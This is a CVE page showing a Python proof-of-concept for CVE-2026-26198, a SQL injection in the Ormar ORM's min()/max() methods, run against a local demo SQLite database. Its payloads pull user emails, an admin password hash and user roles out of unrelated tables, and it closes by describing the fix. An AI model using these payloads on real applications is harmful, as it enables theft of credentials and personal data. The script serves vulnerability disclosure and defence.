5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit_demo.py PY
"""
CVE-2026-26198 — Safe Exploit Demonstration

Shows how an attacker can leverage the unvalidated min()/max() methods
to extract sensitive data from unrelated database tables.

Everything runs against an in-memory SQLite database. No external
systems are touched.

Usage:
    python exploit_demo.py
"""

import os
import tempfile

from vulnerable_app import ProductQuerySet, create_demo_database


def print_header(title: str) -> None:
    print(f"\n{'='*60}")
    print(f"  {title}")
    print(f"{'='*60}\n")


def print_step(num: int, desc: str) -> None:
    print(f"  [{num}] {desc}")


def demonstrate():
    # Setup: create a temp database
    db_fd, db_path = tempfile.mkstemp(suffix=".db")
    os.close(db_fd)

    try:
        create_demo_database(db_path)
        products = ProductQuerySet(db_path=db_path)
        qs = products.get_vulnerable_queryset()

        print_header("CVE-2026-26198: SQL Injection in Ormar ORM")

        # Step 1: Normal usage
        print_step(1, "Normal usage — getting the highest product price")
        result = qs.max("price")
        print(f"      max(price) = {result}")
        print(f"      Query: SELECT max(price) FROM products")
        print(f"      ✅ This is the intended behavior\n")

        # Step 2: The attack — inject a subquery
        print_step(2, "ATTACK — injecting a subquery to steal user emails")
        payload = "(SELECT group_concat(email) FROM users)"
        result = qs.max(payload)
        print(f"      Payload:  max({payload})")
        print(f"      Query:    SELECT max({payload}) FROM products")
        print(f"      Result:   {result}")
        print(f"      ⚠️  LEAKED: All user emails from a completely different table!\n")

        # Step 3: Escalate — steal password hashes
        print_step(3, "ESCALATE — extracting admin password hash")
        payload = "(SELECT password_hash FROM users WHERE role='admin')"
        result = qs.max(payload)
        print(f"      Payload:  max({payload})")
        print(f"      Result:   {result}")
        print(f"      ⚠️  LEAKED: Admin password hash!\n")

        # Step 4: Full table dump
        print_step(4, "FULL DUMP — extracting all usernames and roles")
        payload = "(SELECT group_concat(username || ':' || role) FROM users)"
        result = qs.max(payload)
        print(f"      Payload:  max({payload})")
        print(f"      Result:   {result}")
        print(f"      ⚠️  LEAKED: Complete user roster with privilege levels!\n")

        # Step 5: Show that sum() is protected (the inconsistency)
        print_step(5, "COMPARISON — sum() rejects the same attack")
        try:
            qs.sum("(SELECT 1 FROM users)")
            print(f"      ❌ Sum should have rejected this!")
        except ValueError as e:
            print(f"      sum() raised ValueError: {e}")
            print(f"      ✅ sum() validates the column name, but min()/max() don't\n")

        # Summary
        print_header("Summary")
        print("  The vulnerability exists because min() and max() skip the")
        print("  column validation that sum() and avg() perform.")
        print()
        print("  Impact: Any endpoint that passes user input to min()/max()")
        print("  allows unauthenticated attackers to read the ENTIRE database.")
        print()
        print("  Real-world scenario: A FastAPI endpoint like")
        print('    GET /products/stats?aggregate=max&field=price')
        print("  becomes a full database dump if 'field' reaches ormar's max().")
        print()
        print("  Fix: Validate column names against the model's known fields")
        print("  BEFORE they reach sqlalchemy.text(). See patched_app.py")

    finally:
        os.unlink(db_path)


if __name__ == "__main__":
    demonstrate()